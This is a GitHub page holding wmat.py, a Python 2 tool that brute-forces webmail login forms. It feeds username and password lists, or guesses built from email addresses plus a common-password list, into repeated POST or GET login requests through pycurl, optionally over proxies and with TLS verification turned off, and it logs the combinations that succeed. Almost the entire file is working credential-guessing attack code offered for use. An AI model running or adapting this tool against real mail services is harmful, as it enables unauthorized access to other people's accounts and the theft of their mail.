-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathwmat.py
414 lines (322 loc) · 11.5 KB
/
wmat.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
#!/usr/bin/env python
# Web mail auth tool
# [License]
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# See 'LICENSE' for more information.
# LIBS
import sys, pycurl, xml.dom.minidom, urlparse, time
from optparse import OptionParser, SUPPRESS_USAGE
# DEF ERROR
def error():
print "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
print "WEB MAIL AUTH TOOL (Ivan Markovic, http://security-net.biz/)”
print "\nUsage:"
print "-u usernames_file required (except in passsorter mode)"
print "-p passwords_file required (except in passsorter mode)"
print "-t timeout in seconds !required"
print "-w output_file !required"
print "--url Webmail URL required"
print "--pattern pattern_xml required"
print "--bell Bell on success !required"
print "--proxy Proxy[IP:PORT] !required"
print "--proxyup Proxy UP [username:password] !required"
print "--passsorter File or Email address !required"
print "-? This help!\n"
print "Example:"
print "python wmat.py -u usernames_example.txt -p passwords_example.txt --url webmail.domain.tld --pattern patterns/dummy.wmat.xml\n"
print "python wmat.py -u usernames_example.txt -p passwords_example.txt --url webmail.domain.tld --pattern patterns/dummy.wmat.xml --bell -w output_file.txt\n"
print "python wmat.py -u usernames_example.txt -p passwords_example.txt --url webmail.domain.tld --pattern patterns/dummy.wmat.xml --proxy xxx.xxx.xxx.xxx:8080 --proxyup username:password\n"
print "python wmat.py --passsorter usernames_example.txt --url webmail.domain.tld --pattern patterns/dummy.wmat.xml --bell -t 5\n"
sys.exit()
# DEF READ FROM FILE
def readFromFile(input):
try:
input_file = open(input, "r")
return input_file.readlines()
except:
print "\nERROR: File ",input," is missing!\n"
sys.exit()
# DEF READ PATTERN ITEMS
def readPattern():
global action_url, method, useragent, referer, username_field, password_field, add_fields, success
# Username field
username_field = getText(pattern.getElementsByTagName("username")[0].childNodes);
# Password field
password_field = getText(pattern.getElementsByTagName("password")[0].childNodes);
# Action URL
action_url = getText(pattern.getElementsByTagName("action_url")[0].childNodes);
# Success data
success = getText(pattern.getElementsByTagName("success")[0].childNodes);
# HTTP method
method = getText(pattern.getElementsByTagName("method")[0].childNodes);
if method == "":
method = "post"
# User Agent
useragent = str(getText(pattern.getElementsByTagName("useragent")[0].childNodes));
if useragent == "":
useragent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
# Additional fields
add_fields = getText(pattern.getElementsByTagName("additional_fields")[0].childNodes);
add_fields = add_fields.replace("[amp]","&")
# Referer
referer = str(getText(pattern.getElementsByTagName("referer")[0].childNodes));
referer = referer.replace("[amp]","&")
# READ PATTERN
def getText(nodelist):
rc = ""
for node in nodelist:
if node.nodeType == node.TEXT_NODE:
rc = rc + node.data
return rc
class CB:
def __init__(self):
self.contents = ''
def body_callback(self, buf):
self.contents = self.contents + buf
# DEF ATTACK
def attack(ux,px):
global action_url, method, finded_buf, proxy, proxyUP, useragent, referer, username_field, password_field, add_fields, https, urlx, success
tempx = ''
t = CB()
myCurl = pycurl.Curl()
# Proxy
if proxy <> None:
myCurl.setopt(pycurl.PROXY, proxy)
if proxyUP <> None:
myCurl.setopt(pycurl.PROXYUSERPWD, proxyUP)
# Https
if https == 1:
myCurl.setopt(pycurl.SSLVERSION, 3)
myCurl.setopt(pycurl.SSL_VERIFYPEER, 0)
myCurl.setopt(pycurl.VERBOSE, 0)
# Request login page
myCurl.setopt(pycurl.USERAGENT, useragent)
myCurl.setopt(pycurl.FOLLOWLOCATION, 1)
myCurl.setopt(pycurl.REFERER, referer)
myCurl.setopt(pycurl.COOKIEFILE, 'temp_cookie.txt')
myCurl.setopt(pycurl.WRITEFUNCTION, t.body_callback)
myCurl.setopt(pycurl.CONNECTTIMEOUT, 60)
myCurl.setopt(pycurl.TIMEOUT, 600)
# Create URL/DATA
LOGIN_DATA = username_field + '=' + ux + '&' + password_field + '=' + px + add_fields
LOGIN_DATA = LOGIN_DATA.replace("\n","")
if method == 'post': # POST
urlparse.urlparse(str(LOGIN_DATA))
myCurl.setopt(pycurl.URL, urlx)
myCurl.setopt(pycurl.POSTFIELDS, str(LOGIN_DATA))
myCurl.setopt(pycurl.POST, 1)
print "POST url/data: ", urlx, " | ",LOGIN_DATA,"\n"
else: # GET
LOGIN_URL = urlx + '?' + LOGIN_DATA
urlparse.urlparse(str(LOGIN_URL))
myCurl.setopt(pycurl.URL, str(LOGIN_URL))
print "GET url/data: ", LOGIN_URL,"\n"
# Perform
myCurl.perform()
# Clean up and close out
myCurl.close()
# Look at code
where = t.contents.find(str(success))
if where <> -1:
if options.bell:
print "\a"
print "Find combination :)\n\n"
if method == 'post':
finded_buf += "POST url/data: " + urlx + " | " + LOGIN_DATA + "\n"
else:
finded_buf += "GET url/data: " + LOGIN_URL + "\n"
# DEF WRITE TO FILE
def writeFile(filename, buffer):
finded = open(filename,"w")
finded.write(buffer)
finded.close
# DEF PasssorterGen
# Default password generator (Idea: Dejan Levaja <[email protected]>)
def PasssorterGen(x):
global timeout
commonPass = ("123", "1234", "12345", "123456", "1234567890", "abc", "a1b2c3", "abc123", "computer", "internet", "password", "P@ssw0rd", "P@ssword", "root", "admin", "administrator", "cisco", "qwerty", "secret", "test", "xxx", "www")
try:
emails = readFromFile(x)
except:
emails = [x]
for email in emails:
# Only username
bezdomena = email.split("@")[0].lower()
# Dot
pazzwords = isThereADot(bezdomena)
# Upper/Caps
passUpperCaps = UpperAndCaps(pazzwords)
# Numbers
passNumeric = addNumbersToTheEnd(pazzwords)
all=[]
for x in (pazzwords):
all.append(x)
for x in (passUpperCaps):
all.append(x)
for x in (passNumeric):
all.append(x)
for x in (commonPass):
all.append(x.replace("\n",""))
# writeFile(email+".passorter",all)
for pas in all:
if timeout > 0:
time.sleep(timeout)
attack(email,pas)
# DEF DOT
def isThereADot(bezdomena):
# Dot ?
passwords=[]
if "." in bezdomena:
passwords.extend(bezdomena.split("."))
passwords.append(bezdomena)
else:
passwords.append(bezdomena)
return passwords
# DEF ADD NUMBERS
def addNumbersToTheEnd(passwords):
passNumeric=[]
for lozinka in passwords:
passNumeric.append(lozinka+"1")
passNumeric.append(lozinka+"123")
passNumeric.append(lozinka+"1234")
passNumeric.append(lozinka+"12345")
passNumeric.append(lozinka+"123456")
return passNumeric
# DEF UPPER AND CAPS
def UpperAndCaps(passwords):
passUpperAndCaps=[]
for lozinka in passwords:
passUpperAndCaps.append(lozinka.upper())
if "." in lozinka:
prvideo = (lozinka.split(".")[0]).capitalize()
drugideo = (lozinka.split(".")[1]).capitalize()
passUpperAndCaps.append(prvideo + "." + drugideo)
else:
passUpperAndCaps.append(lozinka.capitalize())
return passUpperAndCaps
# ----------------------------------------------------------------------------- #
# M A I N ( )
print "\n"
print "***********************************"
print "***\tweb mail auth tool\t***"
print "***\twmat.py v 0.1\t\t***"
print "***\tcoded by Ivan Markovic\t***"
print "***\thttp://security-net.biz\t***”
print "***\[email protected]\t***”
print "***\twmat.py -? for help\t***"
print "***********************************"
# Args
parser = OptionParser(usage=SUPPRESS_USAGE)
parser.add_option("-u", dest="usernames")
parser.add_option("-p", dest="passwords")
parser.add_option("-t", dest="timeout")
parser.add_option("-w", dest="write")
parser.add_option("--url", dest="url")
parser.add_option("--proxy", dest="proxy")
parser.add_option("--proxyup", dest="proxyup")
parser.add_option("--pattern", dest="pattern")
parser.add_option("--passsorter", dest="passsorter")
parser.add_option("--bell", action="store_true", default=False)
parser.add_option("-?", action="store_true", dest="err")
(options, args) = parser.parse_args()
if len(sys.argv) >= 3:
# Uzimam listu korisnickih imena
if options.usernames:
usernames = readFromFile(options.usernames)
else:
usernames = None
# Uzimam listu password-a
if options.passwords:
passwords = readFromFile(options.passwords)
else:
passwords = None
# URL (host)
if options.url:
url = options.url
else:
url = None
# Pattern
if options.pattern:
pattern = xml.dom.minidom.parse(options.pattern)
else:
pattern = None
# Timeout (sec)
if options.timeout:
timeout = float(options.timeout)
else:
timeout = 0
# File to write finded items
if options.write:
fwrite = options.write
else:
fwrite = None
# Proxy IP:PORT
if options.proxy:
proxy = str(options.proxy)
else:
proxy = None
# Proxy Username:Password
if options.proxyup:
proxyUP = str(options.proxyup)
else:
proxyUP = None
# Passorter
if options.passsorter:
passorter = options.passsorter
else:
passorter = None
if options.err:
error()
else:
error()
# Check params
if usernames == None or passwords == None or url == None or pattern == None:
if passorter == None or pattern == None or url == None:
print "There is some empty value!"
error()
# Variables
username_field = ""
password_field = ""
action_url = ""
success = ""
method = ""
useragent = ""
add_fields = ""
referer = ""
finded_buf = ""
# https
if url.endswith('https', 0, 5):
https = 1
else:
https = 0
# Go #
# -- #
readPattern()
# Full Url (http://someurl.tld/script.ext)
urlx = str(url + action_url)
if passorter <> None:
PasssorterGen(passorter)
else:
for username in usernames:
for password in passwords:
if timeout > 0:
time.sleep(timeout)
attack(username,password)
# Make list with finded items
if options.write:
writeFile(fwrite,finded_buf)